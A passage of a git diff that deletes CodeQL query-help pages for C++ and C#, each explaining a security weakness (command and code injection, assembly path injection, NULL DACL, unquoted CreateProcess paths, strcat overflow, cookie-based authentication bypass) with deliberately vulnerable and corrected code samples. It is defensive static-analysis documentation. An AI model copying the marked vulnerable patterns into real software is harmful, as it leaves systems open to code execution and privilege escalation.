`absCorrect1` and `absCorrect2` remedy this deficiency by adding an initializer and adding an assignment to one of the paths through the program, respectively. - - -```cpp -int absWrong(int i) { - int j; - if (i > 0) { - j = i; - } else if (i < 0) { - j = -i; - } - return j; // wrong: j may not be initialized before use -} - -int absCorrect1(int i) { - int j = 0; - if (i > 0) { - j = i; - } else if (i < 0) { - j = -i; - } - return j; // correct: j always initialized before use -} - -int absCorrect2(int i) { - int j; - if (i > 0) { - j = i; - } else if (i < 0) { - j = -i; - } else { - j = 0; - } - return j; // correct: j always initialized before use -} -``` - -## References -* ISO/IEC 9899:2011: [Programming languages - C (Section 6.3.2.1)](https://www.iso.org/standard/57853.html). -* Common Weakness Enumeration: [CWE-665](https://cwe.mitre.org/data/definitions/665.html). -* Common Weakness Enumeration: [CWE-457](https://cwe.mitre.org/data/definitions/457.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UnsafeCreateProcessCall.md b/docs/language/query-help/cpp/UnsafeCreateProcessCall.md deleted file mode 100644 index cf9b2e4d3a6..00000000000 --- a/docs/language/query-help/cpp/UnsafeCreateProcessCall.md +++ /dev/null @@ -1,53 +0,0 @@ -# NULL application name with an unquoted path in call to CreateProcess - -``` -ID: cpp/unsafe-create-process-call -Kind: problem -Severity: error -Precision: medium -Tags: security external/cwe/cwe-428 external/microsoft/C6277 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-428/UnsafeCreateProcessCall.ql) - -This query indicates that there is a call to a function of the `CreateProcess*` family of functions, which introduces a security vulnerability. - - -## Recommendation -Do not use `NULL` for the `lpApplicationName` argument to the `CreateProcess*` function. - -If you pass `NULL` for `lpApplicationName`, use quotation marks around the executable path in `lpCommandLine`. - - -## Example -In the following example, `CreateProcessW` is called with a `NULL` value for `lpApplicationName`, and the value for `lpCommandLine` that represent the application path is not quoted and has spaces in it. - -If an attacker has access to the file system, they can elevate privileges by creating a file such as `C:\Program.exe` that will be executed instead of the intended application. - - -```cpp -STARTUPINFOW si; -PROCESS_INFORMATION pi; - -// ... - -CreateProcessW( // BUG - NULL, // lpApplicationName - (LPWSTR)L"C:\\Program Files\\MyApp", // lpCommandLine - NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); - -// ... -``` -To fix this issue, specify a valid string for `lpApplicationName`, or quote the path for `lpCommandLine`. For example: - -`(LPWSTR)L"\"C:\\Program Files\\MyApp\"", // lpCommandLine` - - -## References -* [CreateProcessA function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessa) -* [CreateProcessW function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessw) -* [CreateProcessAsUserA function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessasusera) -* [CreateProcessAsUserW function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createprocessasuserw) -* [CreateProcessWithLogonW function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-createprocesswithlogonw) -* [CreateProcessWithTokenW function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/winbase/nf-winbase-createprocesswithtokenw) -* Common Weakness Enumeration: [CWE-428](https://cwe.mitre.org/data/definitions/428.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UnsafeDaclSecurityDescriptor.md b/docs/language/query-help/cpp/UnsafeDaclSecurityDescriptor.md deleted file mode 100644 index 03a0eace612..00000000000 --- a/docs/language/query-help/cpp/UnsafeDaclSecurityDescriptor.md +++ /dev/null @@ -1,52 +0,0 @@ -# Setting a DACL to NULL in a SECURITY_DESCRIPTOR - -``` -ID: cpp/unsafe-dacl-security-descriptor -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-732 external/microsoft/C6248 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-732/UnsafeDaclSecurityDescriptor.ql) - -This query indicates that a call is setting the DACL field in a `SECURITY_DESCRIPTOR` to null. - -When using `SetSecurityDescriptorDacl` to set a discretionary access control (DACL), setting the `bDaclPresent` argument to `TRUE` indicates the prescence of a DACL in the security description in the argument `pDacl`. - -When the `pDacl` parameter does not point to a DACL (i.e. it is `NULL`) and the `bDaclPresent` flag is `TRUE`, a `NULL DACL` is specified. - -A `NULL DACL` grants full access to any user who requests it; normal security checking is not performed with respect to the object. - - -## Recommendation -You should not use a `NULL DACL` with an object because any user can change the DACL and owner of the security descriptor. - - -## Example -In the following example, the call to `SetSecurityDescriptorDacl` is setting an unsafe DACL (`NULL DACL`) to the security descriptor. - - -```cpp -SECURITY_DESCRIPTOR pSD; -SECURITY_ATTRIBUTES SA; - -if (!InitializeSecurityDescriptor(&pSD, SECURITY_DESCRIPTOR_REVISION)) -{ - // error handling -} -if (!SetSecurityDescriptorDacl(&pSD, - TRUE, // bDaclPresent - this value indicates the presence of a DACL in the security descriptor - NULL, // pDacl - the pDacl parameter does not point to a DACL. All access will be allowed - FALSE)) -{ - // error handling -} - -``` -To fix this issue, `pDacl` argument should be a pointer to an `ACL` structure that specifies the DACL for the security descriptor. - - -## References -* [SetSecurityDescriptorDacl function (Microsoft documentation).](https://docs.microsoft.com/en-us/windows/desktop/api/securitybaseapi/nf-securitybaseapi-setsecuritydescriptordacl) -* Common Weakness Enumeration: [CWE-732](https://cwe.mitre.org/data/definitions/732.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UnsafeUseOfStrcat.md b/docs/language/query-help/cpp/UnsafeUseOfStrcat.md deleted file mode 100644 index 733b08ec235..00000000000 --- a/docs/language/query-help/cpp/UnsafeUseOfStrcat.md +++ /dev/null @@ -1,43 +0,0 @@ -# Potentially unsafe use of strcat - -``` -ID: cpp/unsafe-strcat -Kind: problem -Severity: warning -Precision: medium -Tags: reliability correctness security external/cwe/cwe-676 external/cwe/cwe-120 external/cwe/cwe-251 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Memory%20Management/UnsafeUseOfStrcat.ql) - -The standard library function `strcat` appends a source string to a target string. If you do not check the size of the source string then you cannot guarantee that appending the data to the target string will not cause a buffer overflow. Buffer overflows can lead to anything from a segmentation fault to a security vulnerability. - - -## Recommendation -Check the highlighted function calls carefully to ensure that no buffer overflow is possible. For a more robust solution, consider adding explicit range checks or using the `strncat` function instead. - - -## Example - -```cpp -void f(char *s) { - char buf[80]; - strcpy(buf, "s: "); - strcat(buf, s); // wrong: buffer not checked before strcat -} - -void g(char *s) { - char buf[80]; - strcpy(buf, "s: "); - if(strlen(s) < 77) - strcat(buf, s); // correct: buffer size checked before strcat -} - -``` - -## References -* I. Gerg, *An Overview and Example of the Buffer-Overflow Exploit*. IANewsletter vol 7, no 4, 2005. -* M. Donaldson, *Inside the Buffer Overflow Attack: Mechanism, Method & Prevention*. SANS Institute InfoSec Reading Room. 2002. -* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). -* Common Weakness Enumeration: [CWE-120](https://cwe.mitre.org/data/definitions/120.html). -* Common Weakness Enumeration: [CWE-251](https://cwe.mitre.org/data/definitions/251.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/UnterminatedVarargsCall.md b/docs/language/query-help/cpp/UnterminatedVarargsCall.md deleted file mode 100644 index 62993a50d6d..00000000000 --- a/docs/language/query-help/cpp/UnterminatedVarargsCall.md +++ /dev/null @@ -1,59 +0,0 @@ -# Unterminated variadic call - -``` -ID: cpp/unterminated-variadic-call -Kind: problem -Severity: warning -Precision: medium -Tags: reliability security external/cwe/cwe-121 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-121/UnterminatedVarargsCall.ql) - -The program calls a function that expects the variable argument list to be terminated with a sentinel value (typically NULL, 0 or -1). In this case, the sentinel value has been omitted as a final argument. This defect may result in incorrect behavior of the function and unintended stack memory access, leading to incorrect program results, instability, and even vulnerability to buffer overflow style attacks. - - -## Recommendation -Each description of a defect highlighted by this rule includes a suggested value for the terminator. Check that this value is correct, then add it to the end of the call. - - -## Example - -```cpp -#include - -void pushStrings(char *firstString, ...) -{ - va_list args; - char *arg; - - va_start(args, firstString); - - // process inputs, beginning with firstString, ending when NULL is reached - arg = firstString; - while (arg != NULL) - { - // push the string - pushString(arg); - - // move on to the next input - arg = va_arg(args, char *); - } - - va_end(args); -} - -void badFunction() -{ - pushStrings("hello", "world", NULL); // OK - - pushStrings("apple", "pear", "banana", NULL); // OK - - pushStrings("car", "bus", "train"); // BAD, not terminated with the expected NULL -} -``` -In this example, the third call to `pushStrings` is not correctly terminated. This call should be updated to include `NULL` as the fourth and final argument to this call. - - -## References -* Common Weakness Enumeration: [CWE-121](https://cwe.mitre.org/data/definitions/121.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/WcharCharConversion.md b/docs/language/query-help/cpp/WcharCharConversion.md deleted file mode 100644 index 14898692d93..00000000000 --- a/docs/language/query-help/cpp/WcharCharConversion.md +++ /dev/null @@ -1,41 +0,0 @@ -# Cast from char* to wchar_t* - -``` -ID: cpp/incorrect-string-type-conversion -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-704 external/microsoft/c/c6276 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Security/CWE/CWE-704/WcharCharConversion.ql) - -This rule indicates a potentially incorrect cast from an byte string (`char *`) to a wide-character string (`wchar_t *`). - -This cast might yield strings that are not correctly terminated; including potential buffer overruns when using such strings with some dangerous APIs. - - -## Recommendation -Do not explicitly cast byte strings to wide-character strings. - -For string literals, prepend the literal string with the letter "L" to indicate that the string is a wide-character string (`wchar_t *`). - -For converting a byte literal to a wide-character string literal, you would need to use the appropriate conversion function for the platform you are using. Please see the references section for options according to your platform. - - -## Example -In the following example, an byte string literal (`"a"`) is cast to a wide-character string. - - -```cpp -wchar_t* pSrc; - -pSrc = (wchar_t*)"a"; // casting a byte-string literal "a" to a wide-character string -``` -To fix this issue, prepend the literal with the letter "L" (`L"a"`) to define it as a wide-character string. - - -## References -* General resources: [std::mbstowcs](https://en.cppreference.com/w/cpp/string/multibyte/mbstowcs) -* Microsoft specific resources: [Security Considerations: International Features](https://docs.microsoft.com/en-us/windows/desktop/Intl/security-considerations--international-features) -* Common Weakness Enumeration: [CWE-704](https://cwe.mitre.org/data/definitions/704.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/WrongNumberOfFormatArguments.md b/docs/language/query-help/cpp/WrongNumberOfFormatArguments.md deleted file mode 100644 index db070d6b9b8..00000000000 --- a/docs/language/query-help/cpp/WrongNumberOfFormatArguments.md +++ /dev/null @@ -1,36 +0,0 @@ -# Too few arguments to formatting function - -``` -ID: cpp/wrong-number-format-arguments -Kind: problem -Severity: error -Precision: high -Tags: reliability correctness security external/cwe/cwe-685 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Format/WrongNumberOfFormatArguments.ql) - -Each call to the `printf` function, or a related function, should include the number of arguments defined by the format. Passing the function more arguments than required is harmless (although it may be indicative of other defects). However, passing the function fewer arguments than are defined by the format can be a security vulnerability since the function will process the next item on the stack as the missing arguments. - -This might lead to an information leak if a sensitive value from the stack is printed. It might cause a crash if a value on the stack is interpreted as a pointer and leads to accessing unmapped memory. Finally, it may lead to a follow-on vulnerability if an attacker can use this problem to cause the output string to be too long or have unexpected contents. - - -## Recommendation -Review the format and arguments expected by the highlighted function calls. Update either the format or the arguments so that the expected number of arguments are passed to the function. - - -## Example - -```cpp -int main() { - printf("%d, %s\n", 42); // Will crash or print garbage - return 0; -} - -``` - -## References -* CERT C Coding Standard: [FIO30-C. Exclude user input from format strings](https://www.securecoding.cert.org/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings). -* cplusplus.com: [C++ Functions](http://www.tutorialspoint.com/cplusplus/cpp_functions.htm). -* Microsoft C Runtime Library Reference: [printf, wprintf](https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/printf-printf-l-wprintf-wprintf-l). -* Common Weakness Enumeration: [CWE-685](https://cwe.mitre.org/data/definitions/685.html). \ No newline at end of file diff --git a/docs/language/query-help/cpp/WrongTypeFormatArguments.md b/docs/language/query-help/cpp/WrongTypeFormatArguments.md deleted file mode 100644 index 472eb3ef1a6..00000000000 --- a/docs/language/query-help/cpp/WrongTypeFormatArguments.md +++ /dev/null @@ -1,34 +0,0 @@ -# Wrong type of arguments to formatting function - -``` -ID: cpp/wrong-type-format-argument -Kind: problem -Severity: error -Precision: high -Tags: reliability correctness security external/cwe/cwe-686 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/cpp/ql/src/Likely%20Bugs/Format/WrongTypeFormatArguments.ql) - -Each call to the `printf` function or a related function should include the type and sequence of arguments defined by the format. If the function is passed arguments of a different type or in a different sequence then the arguments are reinterpreted to fit the type and sequence expected, resulting in unpredictable behavior. - - -## Recommendation -Review the format and arguments expected by the highlighted function calls. Update either the format or the arguments so that the expected type and sequence of arguments are passed to the function. - - -## Example - -```cpp -int main() { - printf("%s\n", 42); //printf will treat 42 as a char*, will most likely segfault - return 0; -} - -``` - -## References -* CERT C Coding Standard: [FIO30-C. Exclude user input from format strings](https://www.securecoding.cert.org/confluence/display/c/FIO30-C.+Exclude+user+input+from+format+strings). -* cplusplus.com: [C++ Functions](http://www.tutorialspoint.com/cplusplus/cpp_functions.htm). -* MSDN Alphabetical Function Reference: [printf, wprintf](http://msdn.microsoft.com/en-us/library/wc7014hz%28VS.71%29.aspx). -* Common Weakness Enumeration: [CWE-686](https://cwe.mitre.org/data/definitions/686.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ASPNetDebug.md b/docs/language/query-help/csharp/ASPNetDebug.md deleted file mode 100644 index 9c3bdce1820..00000000000 --- a/docs/language/query-help/csharp/ASPNetDebug.md +++ /dev/null @@ -1,56 +0,0 @@ -# Creating an ASP.NET debug binary may reveal sensitive information - -``` -ID: cs/web/debug-binary -Kind: problem -Severity: warning -Precision: very-high -Tags: security maintainability frameworks/asp.net external/cwe/cwe-11 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-011/ASPNetDebug.ql) - -ASP.NET applications that deploy a 'debug' build to production can reveal debugging information to end users. This debugging information can aid a malicious user in attacking the system. The use of the debugging flag may also impair performance, increasing execution time and memory usage. - - -## Recommendation -Remove the 'debug' flag from the `Web.config` file if this configuration is likely to be used in production. - - -## Example -The following example shows the 'debug' flag set to true in a `Web.config` file for ASP.NET: - - -```none - - - - - ... - - -``` -This will produce a 'debug' build that may be exploited by an end user. - -To fix this problem, the 'debug' flag should be set to `false`, or removed completely: - - -```none - - - - - ... - - -``` - -## References -* MSDN: [Why debug=false in ASP.NET applications in production environment](https://blogs.msdn.microsoft.com/prashant_upadhyay/2011/07/14/why-debugfalse-in-asp-net-applications-in-production-environment/). -* MSDN: [How to: Enable Debugging for ASP.NET Applications](https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx). -* Common Weakness Enumeration: [CWE-11](https://cwe.mitre.org/data/definitions/11.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ASPNetDirectoryListing.md b/docs/language/query-help/csharp/ASPNetDirectoryListing.md deleted file mode 100644 index 17c6cd89584..00000000000 --- a/docs/language/query-help/csharp/ASPNetDirectoryListing.md +++ /dev/null @@ -1,48 +0,0 @@ -# ASP.NET config file enables directory browsing - -``` -ID: cs/web/directory-browse-enabled -Kind: problem -Severity: warning -Precision: very-high -Tags: security external/cwe/cwe-548 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-548/ASPNetDirectoryListing.ql) - -ASP.NET applications that enable directory browsing can leak sensitive information to an attacker. The precise nature of the vulnerability depends on which files are listed and accessible. - - -## Recommendation -If this configuration may be used in production, remove the `directoryBrowse` element from the `Web.config` file or set the value to false. - - -## Example -The following example shows the `directoryBrowse` `enable` attribute set to true in a `Web.config` file for ASP.NET: - - -```none - - - - - ... - - -``` -To fix this problem, the `enable` attribute should be set to `false`, or the `directoryBrowse` element should be removed completely: - - -```none - - - - - ... - - -``` - -## References -* MSDN: [directoryBrowse element](https://msdn.microsoft.com/en-us/library/ms691327(v=vs.90).aspx). -* Common Weakness Enumeration: [CWE-548](https://cwe.mitre.org/data/definitions/548.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/AbandonSession.md b/docs/language/query-help/csharp/AbandonSession.md deleted file mode 100644 index 69d3e2b4a1f..00000000000 --- a/docs/language/query-help/csharp/AbandonSession.md +++ /dev/null @@ -1,52 +0,0 @@ -# Failure to abandon session - -``` -ID: cs/session-reuse -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-384 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-384/AbandonSession.ql) - -Reusing a session could allow an attacker to gain unauthorized access to another account. Always ensure that, when a user logs in or out, the current session is abandoned so that a new session may be started. - - -## Recommendation -Always call `HttpSessionState.Abandon()` to ensure that the previous session is not used by the new user. - - -## Example -The following example shows the previous session being used after authentication. This would allow a previous user to use the new user's account. - - -```csharp -public void Login(HttpContext ctx, string username, string password) -{ - if (FormsAuthentication.Authenticate(username, password) - { - // BAD: Reusing the previous session - ctx.Session["Mode"] = GetModeForUser(username); - } -} - -``` -This code example solves the problem by not reusing the session, and instead calling `Abandon()` to ensure that the session is not reused. - - -```csharp -public void Login(HttpContext ctx, string username, string password) -{ - if (FormsAuthentication.Authenticate(username, password) - { - // GOOD: Abandon the session first. - ctx.Session.Abandon(); - } -} - -``` - -## References -* MSDN: [ASP.NET Session State Overview](https://msdn.microsoft.com/en-us/library/ms178581.aspx), [HttpSessionState.Abandon Method ()](https://msdn.microsoft.com/en-us/library/system.web.sessionstate.httpsessionstate.abandon(v=vs.110).aspx). -* Common Weakness Enumeration: [CWE-384](https://cwe.mitre.org/data/definitions/384.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/AssemblyPathInjection.md b/docs/language/query-help/csharp/AssemblyPathInjection.md deleted file mode 100644 index a3b87e7dc1c..00000000000 --- a/docs/language/query-help/csharp/AssemblyPathInjection.md +++ /dev/null @@ -1,71 +0,0 @@ -# Assembly path injection - -``` -ID: cs/assembly-path-injection -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-114 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-114/AssemblyPathInjection.ql) - -C# supports runtime loading of assemblies by path through the use of the `System.Reflection.Assembly` API. If an external user can influence the path used to load an assembly, then the application can potentially be tricked into loading an assembly which was not intended to be loaded, and executing arbitrary code. - - -## Recommendation -Avoid loading assemblies based on user provided input. If this is not possible, ensure that the path is validated before being used with `Assembly`. For example, compare the provided input against a whitelist of known safe assemblies, or confirm that the path is restricted to a single directory which only contains safe assemblies. - - -## Example -In this example, user input is provided describing the path to an assembly, which is loaded without validation. This is problematic because it allows the user to load any assembly installed on the system, and is particularly problematic if an attacker can upload a custom DLL elsewhere on the system. - - -```csharp -using System; -using System.Web; -using System.Reflection; - -public class AssemblyPathInjectionHandler : IHttpHandler { - public void ProcessRequest(HttpContext ctx) { - string assemblyPath = ctx.Request.QueryString["assemblyPath"]; - - // BAD: Load assembly based on user input - var badAssembly = Assembly.LoadFile(assemblyPath); - - // Method called on loaded assembly. If the user can control the loaded assembly, then this - // could result in a remote code execution vulnerability - MethodInfo m = badAssembly.GetType("Config").GetMethod("GetCustomPath"); - Object customPath = m.Invoke(null, null); - // ... - } -} -``` -In the corrected version, user input is validated against one of two options, and the assembly is only loaded if the user input matches one of those options. - - -```csharp -using System; -using System.Web; -using System.Reflection; - -public class AssemblyPathInjectionHandler : IHttpHandler { - public void ProcessRequest(HttpContext ctx) { - string configType = ctx.Request.QueryString["configType"]; - - if (configType.equals("configType1") || configType.equals("configType2")) { - // GOOD: Loaded assembly is one of the two known safe options - var safeAssembly = Assembly.LoadFile(@"C:\SafeLibraries\" + configType + ".dll"); - - // Code execution is limited to one of two known and vetted assemblies - MethodInfo m = safeAssembly.GetType("Config").GetMethod("GetCustomPath"); - Object customPath = m.Invoke(null, null); - // ... - } - } -} -``` - -## References -* Microsoft: [System.Reflection.Assembly](https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly?view=netframework-4.8). -* Common Weakness Enumeration: [CWE-114](https://cwe.mitre.org/data/definitions/114.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/CleartextStorage.md b/docs/language/query-help/csharp/CleartextStorage.md deleted file mode 100644 index dedc59ef949..00000000000 --- a/docs/language/query-help/csharp/CleartextStorage.md +++ /dev/null @@ -1,64 +0,0 @@ -# Clear text storage of sensitive information - -``` -ID: cs/cleartext-storage-of-sensitive-information -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-312/CleartextStorage.ql) - -Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user. - - -## Recommendation -Ensure that sensitive information is always encrypted before being stored. For ASP.NET applications, the `System.Web.Security.MachineKey` class may be used to encode sensitive information. - -If possible, avoid placing sensitive information in cookies all together. Instead, prefer storing a key in the cookie that can be used to lookup the sensitive information. - -In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. - - -## Example -The following example shows two ways of storing user credentials in a cookie. In the 'BAD' case, the credentials are simply stored in cleartext. In the 'GOOD' case, the credentials are protected before storing them, using `MachineKey.Protect`, wrapped in a utility method. - - -```csharp -using System.Text; -using System.Web; -using System.Web.Security; - -public class CleartextStorageHandler : IHttpHandler -{ - - public void ProcessRequest(HttpContext ctx) - { - string accountName = ctx.Request.QueryString["AccountName"]; - // BAD: Setting a cookie value with cleartext sensitive data. - ctx.Response.Cookies["AccountName"].Value = accountName; - // GOOD: Encoding the value before setting it. - ctx.Response.Cookies["AccountName"].Value = Protect(accountName, "Account name"); - } - - ///

- /// Protect the cleartext value, using the given type. - /// - /// - /// The protected value, which is no longer cleartext. - /// - public string Protect(string value, string type) - { - return Encoding.UTF8.GetString(MachineKey.Protect(Encoding.UTF8.GetBytes(value), type)); - } -} - -``` - -## References -* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. -* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. -* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). -* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). -* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/CodeInjection.md b/docs/language/query-help/csharp/CodeInjection.md deleted file mode 100644 index 8d60a5b7122..00000000000 --- a/docs/language/query-help/csharp/CodeInjection.md +++ /dev/null @@ -1,75 +0,0 @@ -# Improper control of generation of code - -``` -ID: cs/code-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-094 external/cwe/cwe-095 external/cwe/cwe-096 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-094/CodeInjection.ql) - -If the application dynamically compiles and runs source code constructed from user input, a malicious user may be able to run arbitrary code. - - -## Recommendation -It is good practice not to generate, compile and run source code constructed from untrusted user input. If code must be dynamically generated using user input, the user input should be validated to prevent arbitrary code from appearing in the input. For example, a whitelist may be used to ensure that the input is limited to an acceptable range of values. - - -## Example -In the following example, the HttpHandler accepts remote user input which is C# source code for calculating tax. It compiles and runs this code, returning the output. However, the user provided source code is entirely unvalidated, and therefore allows arbitrary code execution. - -If possible, the dynamic compilation should be removed all together, and replaced with a fixed set of tax calculation algorithms. If this is not sufficiently powerful, an interpreter could be provided for a safe, restricted language. - - -```csharp -using Microsoft.CSharp; -using System; -using System.CodeDom.Compiler; -using System.Reflection; -using System.Web; - -public class CodeInjectionHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - // Code for calculating tax is provided as unvalidated user input - string taxFormula = ctx.Request.QueryString["tax_formula"]; - // Used to create C# - StringBuilder sourceCode = new StringBuilder(""); - sourceCode.Append("public class TaxCalc {\n"); - sourceCode.Append("\tpublic int CalculateTax(int value){\n"); - sourceCode.Append("\t\treturn " + taxFormula + "; \n"); - sourceCode.Append("\t}\n"); - sourceCode.Append("}\n"); - - // BAD: This compiles the sourceCode, containing unvalidated user input - CSharpCodeProvider c = new CSharpCodeProvider(); - ICodeCompiler icc = c.CreateCompiler(); - CompilerParameters cp = new CompilerParameters(); - CompilerResults cr = icc.CompileAssemblyFromSource(cp, sourceCode.ToString()); - - // Compiled input is loaded, and an instance of the class is constructed - System.Reflection.Assembly a = cr.CompiledAssembly; - object taxCalc = a.CreateInstance("TaxCalc"); - - // Unsafe code is executed - Type taxCalcType = o.GetType(); - MethodInfo mi = type.GetMethod("CalculateTax"); - int value = int.Parse(ctx.Request.QueryString["value"]); - int s = (int)mi.Invoke(o, new object[] { value }); - - // Result is returned to the user - ctx.Response.Write("Tax value is: " + s); - } -} - -``` - -## References -* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection). -* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection). -* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). -* Common Weakness Enumeration: [CWE-95](https://cwe.mitre.org/data/definitions/95.html). -* Common Weakness Enumeration: [CWE-96](https://cwe.mitre.org/data/definitions/96.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/CommandInjection.md b/docs/language/query-help/csharp/CommandInjection.md deleted file mode 100644 index f4dc530aeec..00000000000 --- a/docs/language/query-help/csharp/CommandInjection.md +++ /dev/null @@ -1,45 +0,0 @@ -# Uncontrolled command line - -``` -ID: cs/command-line-injection -Kind: path-problem -Severity: error -Precision: high -Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-078/CommandInjection.ql) - -Code that passes user input directly to `System.Diagnostic.Process.Start`, or some other library routine that executes a command, allows the user to execute malicious code. - - -## Recommendation -If possible, use hard-coded string literals to specify the command to run or library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. - -If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user input string is safe before using it. - - -## Example -The following example shows code that takes a shell script that can be changed maliciously by a user, and passes it straight to `System.Diagnostic.Process.Start` without examining it first. - - -```csharp -using System; -using System.Web; -using System.Diagnostics; - -public class CommandInjectionHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - string param = ctx.Request.QueryString["param"]; - Process.Start("process.exe", "/c " + param); - } -} - -``` - -## References -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). -* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ConditionalBypass.md b/docs/language/query-help/csharp/ConditionalBypass.md deleted file mode 100644 index a4c1b1997f1..00000000000 --- a/docs/language/query-help/csharp/ConditionalBypass.md +++ /dev/null @@ -1,54 +0,0 @@ -# User-controlled bypass of sensitive method - -``` -ID: cs/user-controlled-bypass -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-807 external/cwe/cwe-247 external/cwe/cwe-350 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-807/ConditionalBypass.ql) - -Many C# constructs enable code statements to be executed conditionally, for example, `if` statements and `for` statements. If the statements contain important authentication or login code, and user-controlled data determines whether or not the code is executed, an attacker may be able to bypass security systems. - - -## Recommendation -Never decide whether to authenticate a user based on data that may be controlled by that user. If necessary, ensure that the data is validated extensively when it is input before any authentication checks are performed. - -It is still possible to have a system that "remembers" users, thus not requiring the user to login on every interaction. For example, personalization settings can be applied without authentication because this is not sensitive information. However, users should be allowed to take sensitive actions only when they have been fully authenticated. - - -## Example -This example shows two ways of deciding whether to authenticate a user. The first way shows a decision that is based on the value of a cookie. Cookies can be easily controlled by the user, and so this allows a user to become authenticated without providing valid credentials. The second, more secure way shows a decision that is based on looking up the user in a security database. - - -```csharp -public boolean doLogin(HttpCookie adminCookie, String user, String password) -{ - - // BAD: login is executed only if the value of 'adminCookie' is 'false', - // but 'adminCookie' is controlled by the user - if (adminCookie.Value == "false") - return login(user, password); - - return true; -} - -public boolean doLogin(HttpCookie adminCookie, String user, String password) -{ - // GOOD: use server-side information based on the credentials to decide - // whether user has privileges - bool isAdmin = queryDbForAdminStatus(user, password); - if (!isAdmin) - return login(user, password); - - return true; -} - -``` - -## References -* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html). -* Common Weakness Enumeration: [CWE-247](https://cwe.mitre.org/data/definitions/247.html). -* Common Weakness Enumeration: 